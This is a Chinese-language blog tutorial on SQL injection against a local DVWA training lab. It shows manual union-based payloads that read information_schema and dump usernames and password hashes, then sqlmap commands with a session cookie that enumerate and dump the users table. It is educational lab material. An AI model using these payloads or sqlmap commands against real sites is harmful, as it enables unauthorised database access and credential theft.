SQL注入之整数型注入、工具注入SQLmap
SQL注入之整数型注入、工具注入SQLmap
什么是sql注入可以参考我以前的文章:https://carrotst.github.io/2023/09/16/sql%E6%B3%A8%E5%85%A5%E6%BA%90%E4%BB%A3%E7%A0%81-%E6%B5%8B%E8%AF%95%E4%B8%8E%E5%88%86%E6%9E%90%E7%AC%AC%E4%B8%80%E8%8A%82/
准备工作
phpstudy、dvwa、kali linux
先把dvwa
环境搭起来,可以参考网上的文章!!!
实验前先把 难度改成 low
什么是联合注入
1 | select 表名 from 列名 union select 表名 from 列名 where 字段ID; |
判断字段数
1 | id=1' order by 1 # |
没有报错说明存在有这个字段
直到报错就可以停了
1 2 都是没有报错,说明存在 1 2字段;
那就直接可以查看库名了
mysql注释: # –+
不同版本都不一样
常用的sql语句
- user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号
- version() 返回当前数据库的版本
- database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到
- group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串
- @@datadir 数据库路径
- @@version_compile_os 操作系统版本
爆库名
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。
1 | id=1' union select 1,database()# |
sql版本号
1 | 1' union select version(),database()# |
解释一下 为啥 有 ‘ #
这些
1 | $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; |
看一下源代码
我们加了“ ‘ “ “ # “ 后——-#注释sql语句后面的内容
在id=1’ 后加上 “#” 即注释符号可将注释符号后的语句全部注释,这样我们就可以在注释符号前写入sql语句
1 | $query = "SELECT first_name, last_name FROM users WHERE user_id = '1'union select version(),database()#';"; |
如果里面是双引号那么:
1 | $query = "SELECT first_name, last_name FROM users WHERE user_id = '1"union select version(),database()#";'; |
知识点:
information_schema是mysql自带的库,记录了该数据库所有的表名和字段名
1 | schemata ----所有的数据库名 |
获取数据库名
1 | 1' union select 1,database() from information_schema.schemata# |
获取表名
1 | 1' union select 1,table_name from information_schema.tables where table_schema="dvwa"# |
获取列名
1 | 1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'# |
看到了两个 关键的user password 就是我们要查看的
获取数据
1 | 1' union select 1,group_concat(user,password) from users# |
可以隔开
1 | 1' union select 1,group_concat(user,0x3a,password) from users# |
用户名 :admin
密码:5f4dcc3b5aa765d61d8327deb882cf99(password)
工具注入
这个就简单了,直接使用sqlmap 梭哈!!
必备知识点:
–dbs | 查看所有的数据库 |
---|---|
-D | 指定数据库 |
-T –tables | 查看数据表 |
-C –dump | 查看字段(用逗号隔开) |
1 | 获取cookie:PHPSESSID=lc1met8rfiqmjrq3orpab5cpic; security=low |
获取数据库名
1 | sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --dbs --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch |
获取表名
1 | sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa --tables |
获取列名
1 | sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa -T users --columns |
获取数据
1 | sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa -T users -C "user,password" --dump |
结束!!!
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Carrotの小窝!